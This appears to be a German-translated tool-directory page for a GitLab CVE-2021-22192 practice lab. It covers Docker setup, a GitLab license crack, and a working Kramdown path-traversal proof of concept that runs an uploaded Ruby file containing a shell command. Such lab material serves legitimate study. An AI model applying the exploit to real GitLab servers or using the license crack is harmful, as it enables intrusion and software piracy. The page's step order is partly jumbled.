Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-22192 — CVE-2021-22192 靶场: 未授权用户 RCE 漏洞 | Kitploit
Tools/GitHubGitHub/exp-docs/cve-2021-22192
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubexp-docs/cve-2021-22192

CVE-2021-22192

CVE-2021-22192 靶场: 未授权用户 RCE 漏洞

Repository anzeigen
384vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-22192

CVE-2021-22192 Übungsplatz: RCE-Schwachstelle für nicht autorisierte Benutzer


0x10 Lab-Umgebung

0x20 Verzeichnisstruktur

root@kitploit:~
CVE-2021-22192
├── README.md ............... [此 README 说明]
├── imgs .................... [辅助 README 说明的图片]
├── gitlab .................. [Gitlab 容器的挂载目录]
│   ├── Dockerfile .......... [Gitlab 的 Docker 构建文件]
│   ├── config .............. [Gitlab 配置挂载目录]
│   ├── data ................ [Gitlab 数据挂载目录]
│   ├── logs ................ [Gitlab 日志挂载目录]
│   ├── keys ................ [Gitlab 破解 License 存储目录]
│   └── nginx ............... [Gitlab 内置 nginx 配置目录(备份配置,勿改)]
├── runner .................. [Gitlab 容器的挂载目录]
├── license ................. [破解 License 的容器构建目录]
│   ├── Dockerfile .......... [License 的 Docker 构建文件]
│   └── license.rb .......... [生成破解 License 的 Ruby 脚本]
├── test .................... [Kramdown 调试目录]
├── docker-compose.yml ...... [Docker 的构建配置]
├── keygen.ps1 .............. [Windows: 一键生成破解 License]
├── keygen.sh ............... [Linux:   一键生成破解 License]
├── run.ps1 ................. [Windows: 一键运行 Gitlab 靶场]
├── run.sh .................. [Linux:   一键运行 Gitlab 靶场]
├── register.ps1 ............ [Windows: 一键注册 Runner]
├── register.sh ............. [Linux:   一键注册 Runner]
├── stop.ps1 ................ [Windows: 一键停止 Gitlab 靶场]
└── stop.sh ................. [Linux:   一键停止 Gitlab 靶场]

0x30 Aufbau der Umgebung

0x31 Erstellung

  • Docker und docker-compose auf dem Host vorinstalliert
  • Repository herunterladen: git clone https://github.com/lyy289065406/CVE-2021-22192
  • Erzeugen eines Lizenzschlüsselpaares: ./keygen.sh oder ./keygen.ps1
  • Gitlab erstellen und ausführen (stellen Sie sicher, dass Port 80 nicht belegt ist): ./run.sh oder ./run.ps1
  • Nach etwa 5 Minuten kann man sich von einem Browser aus bei Gitlab anmelden: http://127.0.0.1 (Bei der ersten Anmeldung muss das Passwort des Admin-Kontos root zurückgesetzt werden)

0x32 Lizenz-Crack

Beim vorherigen Erzeugen des Schlüsselpaares wurde der öffentliche Schlüssel bereits im Gitlab-Container hinterlegt. Nun muss noch der private Schlüssel über das Frontend hochgeladen werden, um den Crack abzuschließen:

  • Das Schlüsselpaar wird im Verzeichnis ./gitlab/keys/ erzeugt. Kopieren Sie den Inhalt von .gitlab-license (der private Schlüssel).
  • Öffnen Sie als root-Benutzer die Seite http://127.0.0.1/admin/license/new
  • Wählen Sie Enter license key, fügen Sie den privaten Schlüssel ein und klicken Sie auf Upload license, um den Crack abzuschließen.

0x33 Runner einrichten

  • Öffnen Sie als root-Benutzer die Seite http://127.0.0.1/admin/runners
  • Suchen Sie den Registration-Token und kopieren Sie ihn.
  • Runner registrieren: ./register.sh $TOKEN oder ./register.ps1 $TOKEN

Ab diesem Zeitpunkt können alle Repositorys diesen Runner zur Ausführung von CI-Skripten (Pipeline-Jobs) verwenden.

0x34 Zugriff auf Gitlab Pages

Angenommen, Ihr Gitlab-Benutzername ist ${username} und der Repository-Name ist ${repository_name}. Nachdem das Repository mit jekyll erfolgreich eine SSG (Static Site Generator) erstellt hat, müssen Sie nur die folgende URL aufrufen:

http://127.0.0.1:8000/${username}/${repository_name}/public/

0x40 Validierung der Umgebung

Einzelheiten siehe hackerone.

  1. Klicken Sie als beliebiger Benutzer oben auf + -> New snippet.
  2. Title kann beliebig ausgefüllt werden. Klicken Sie in das Eingabefeld Description (optional), dann klicken Sie auf Attach a file und laden Sie eine Datei namens payload.rb mit folgendem Inhalt hoch:
root@kitploit:~
puts "hello from ruby"
`echo exp was here > /tmp/exp`

Zu diesem Zeitpunkt wird in Description (optional) ein Link zu dieser Datei angezeigt, z.B.: [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb). Die Datei wurde bereits in den docker_gitlab-Container unter /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb hochgeladen. (Ob Sie Create snippet klicken oder nicht, ist nicht wichtig; merken Sie sich nur den Hash des Dateipfads.)

Hinweis: Verwenden Sie nicht Snippet -> New snippet in der linken Seitenleiste eines bestimmten Repositorys, da der angezeigte Dateipfad sonst [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb) wird. Tatsächlich wird der Pfad im docker_gitlab-Container dann /var/opt/gitlab/gitlab-rails/uploads/@hash/randomstring/payload.rb sein. Da ein zufälliger String in der Mitte enthalten ist, ist dies schwer auszunutzen.

  1. Klicken Sie oben auf + New Project. Der Name kann beliebig sein (z.B. poc, oder Sie erstellen kein neues und verwenden ein vorhandenes Repository).
  2. Klicken Sie links auf Wiki und dann auf Create your first page.
  3. Title und Content können beliebig ausgefüllt werden. Klicken Sie auf Create page.
  4. Gitlab erstellt dann ein Wiki-Repository für das aktuelle poc-Repository mit dem Namen poc.wiki. (Klicken Sie oben rechts auf Clone repository, um den Clone-Befehl zu finden: git clone http://127.0.0.1/root/poc.wiki.git).
  5. Führen Sie im lokalen Terminal den Befehl git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki aus, um das Wiki-Repository lokal herunterzuladen.
root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
  1. Führen Sie den Befehl aus, um die Datei an Gitlab zu senden: git add -A . && git commit -m "page1.rmd" && git push
  2. Gehen Sie zurück zur vorherigen Gitlab Wiki Seite, aktualisieren Sie sie. In der rechten Indexleiste sehen Sie die lokal erstellte Seite page1. Klicken Sie darauf.
  3. Nachdem die Seite den Inhalt angezeigt hat, melden Sie sich beim docker_gitlab-Container an. Sie können sehen, dass die Datei /tmp/exp erstellt wurde.

Nach dem Klicken auf die Seite page1.rmd können Sie tatsächlich Fehlermeldungen in gitlab/logs/gitlab-rails/exceptions_json.log sehen, aber das beeinträchtigt nicht, dass der Befehl bereits ausgeführt wurde:

root@kitploit:~
{
    "severity": "ERROR",
    "time": "2021-04-26T10:36:07.978Z",
    "correlation_id": "A24bByUP9L5",
    "tags.correlation_id": "A24bByUP9L5",
    "tags.locale": "en",
    "user.id": 1,
    "user.email": "[email protected]",
    "user.username": "root",
    "extra.project_id": 1,
    "extra.file_name": "page1.rmd",
    "exception.class": "NameError",
    "exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
    "exception.backtrace": [
        "lib/gitlab/other_markup.rb:11:in `render'",
        "app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
        "app/helpers/markup_helper.rb:153:in `markup_unsafe'",
        "app/helpers/markup_helper.rb:138:in `render_wiki_content'",
        "app/views/shared/wikis/show.html.haml:25",
        "app/controllers/application_controller.rb:134:in `render'",
        "app/controllers/concerns/wiki_actions.rb:68:in `show'",
        "ee/lib/gitlab/ip_address_state.rb:10:in `with'",
        "ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
        "app/controllers/application_controller.rb:491:in `set_current_admin'",
        "lib/gitlab/session.rb:11:in `with_session'",
        "app/controllers/application_controller.rb:482:in `set_session_storage'",
        "app/controllers/application_controller.rb:476:in `set_locale'",
        "lib/gitlab/error_tracking.rb:50:in `with_context'",
        "app/controllers/application_controller.rb:541:in `sentry_context'",
        "app/controllers/application_controller.rb:469:in `block in set_current_context'",
        "lib/gitlab/application_context.rb:52:in `block in use'",
        "lib/gitlab/application_context.rb:52:in `use'",
        "lib/gitlab/application_context.rb:20:in `with_context'",
        "app/controllers/application_controller.rb:462:in `set_current_context'",
        "ee/lib/gitlab/jira/middleware.rb:19:in `call'"
    ]
}
Tool herunterladen
  • Fügen Sie im Stammverzeichnis des Wiki-Repositorys eine Datei namens page1.rmd mit folgendem Inhalt hinzu (beachten Sie, dass der Hash im Dateipfad durch den zuvor erhaltenen Hash ersetzt werden muss):